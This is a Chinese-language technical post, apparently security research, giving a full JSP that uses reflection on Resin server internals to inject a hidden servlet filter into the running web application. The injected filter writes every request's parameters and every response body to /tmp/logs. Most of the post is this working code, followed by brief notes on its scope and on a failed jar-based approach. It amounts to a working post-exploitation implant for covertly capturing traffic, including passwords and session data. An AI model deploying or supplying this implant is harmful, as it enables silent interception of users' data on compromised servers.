利用filter机制获取resin请求响应
实现代码，注入后，所有响应内容将打印到/tmp/logs文件中：
<%@ page import="java.io.IOException" %>
<%@ page import="com.caucho.server.webapp.WebApp" %>
<%@ page import="com.caucho.server.dispatch.FilterConfigImpl" %>
<%@ page import="com.caucho.server.dispatch.FilterMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.caucho.server.dispatch.FilterMapper" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Enumeration" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Resin Inject Filter</title>
</head>
<body>
<%!
class CustomResponseWrapper extends HttpServletResponseWrapper {
private ByteArrayOutputStream buffer;
private ServletOutputStream out;
private MyPrintWriter out2;
public CustomResponseWrapper(HttpServletResponse response) {
super(response);
buffer = new ByteArrayOutputStream();
out = new WrapperOutputStream(buffer);
out2 = new MyPrintWriter(buffer);
}
@Override
public ServletOutputStream getOutputStream() throws IOException {
return out;
}
@Override
public PrintWriter getWriter() throws IOException {
return out2;
}
@Override
public void flushBuffer() throws IOException {
if (out != null) {
out.flush();
out2.flush();
}
}
public byte[] getContent() throws IOException {
flushBuffer();
return buffer.toByteArray();
}
class WrapperOutputStream extends ServletOutputStream {
private ByteArrayOutputStream bos;
public WrapperOutputStream(ByteArrayOutputStream bos) {
this.bos = bos;
}
public void write(int b) throws IOException {
bos.write(b); // 将数据写到 stream 中
}
public boolean isReady() {
return false;
}
}
class MyPrintWriter extends PrintWriter {
ByteArrayOutputStream myOutput;
//此即为存放response输入流的对象
public MyPrintWriter(ByteArrayOutputStream output) {
super(output);
myOutput = output;
}
public ByteArrayOutputStream getByteArrayOutputStream() {
return myOutput;
}
}
}
public class TestFilter implements Filter {
public TestFilter() {
}
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterchain)
throws IOException, ServletException {
// TODO Auto-generated method stub
FileWriter fw = new FileWriter("/tmp/logs", true);
Enumeration names = request.getParameterNames();
StringBuilder output = new StringBuilder();
while(names.hasMoreElements()){
String name = (String) names.nextElement();
output.append(name).append("=");
String values[] = request.getParameterValues(name);
for (int i = 0; i < values.length; i++) {
if (i > 0) {
output.append("' ");
}
output.append(values[i]);
}
if (names.hasMoreElements())
output.append("&");
}
fw.write(output + "\n");
//fw.write("response.contenttype:" + response.getContentType());
fw.flush();
CustomResponseWrapper mResp = new CustomResponseWrapper((HttpServletResponse)response);
filterchain.doFilter(request, mResp);
StringBuilder sb = new StringBuilder();
byte[] bytes = mResp.getContent();
sb.append(new String(bytes));
System.out.println("length:" + bytes.length);
System.out.println("String:" + sb);
fw.write(sb.toString());
fw.flush();
fw.close();
response.setContentLength(-1);
response.getOutputStream().write(bytes);
response.getOutputStream().flush();
}
@Override
public void destroy() {
// TODO Auto-generated method stub
}
}
%>
<%
ClassLoader classloader = Thread.currentThread().getContextClassLoader();
Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");
Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null);
WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
TestFilter filter = new TestFilter();
FilterConfigImpl filterConfig = (FilterConfigImpl) filterConfigimplcls.newInstance();
filterConfig.setFilterName("test");
filterConfig.setFilter(filter);
filterConfig.setFilterClass(filter.getClass());
webapp.addFilter(filterConfig);
FilterMapping filterMapping = (FilterMapping) filterMappingcls.newInstance();
FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
filterMappingUrlpattern.addText("/*");
filterMappingUrlpattern.init();
filterMapping.setFilterName("test");
filterMapping.setServletContext(webapp);
Field fieldWebappFilterMapper = null;
try {
fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
} catch (NoSuchFieldException Exception) {
fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
}
fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);
ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);
newFilterMappings.add(filterMapping);
int count = 0;
while (count < orginalfilterMappings.size()) {
newFilterMappings.add(orginalfilterMappings.get(count));
++count;
}
fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);
out.println("Resin Filter added");
webapp.getClass().getMethod("clearCache").invoke(webapp);
%>
</body>
</html>
Resin中WebApp，类似于 tomcat 中的 StandardContext，通过获取WebApp示例，调用反射修改 内部成员 _filterMapper 实现 filter 注入。
filter 的作用范围，取决于获取到的 WebApp 上下文的位置，目前调研发现只能获取到当前项目的 WebApp 上下文，获取不到全局的。
通过 jar 注入的形式，经测试无法通过公开的方式拿到 WebApp 上下文，所以没办法修改 fitler 链。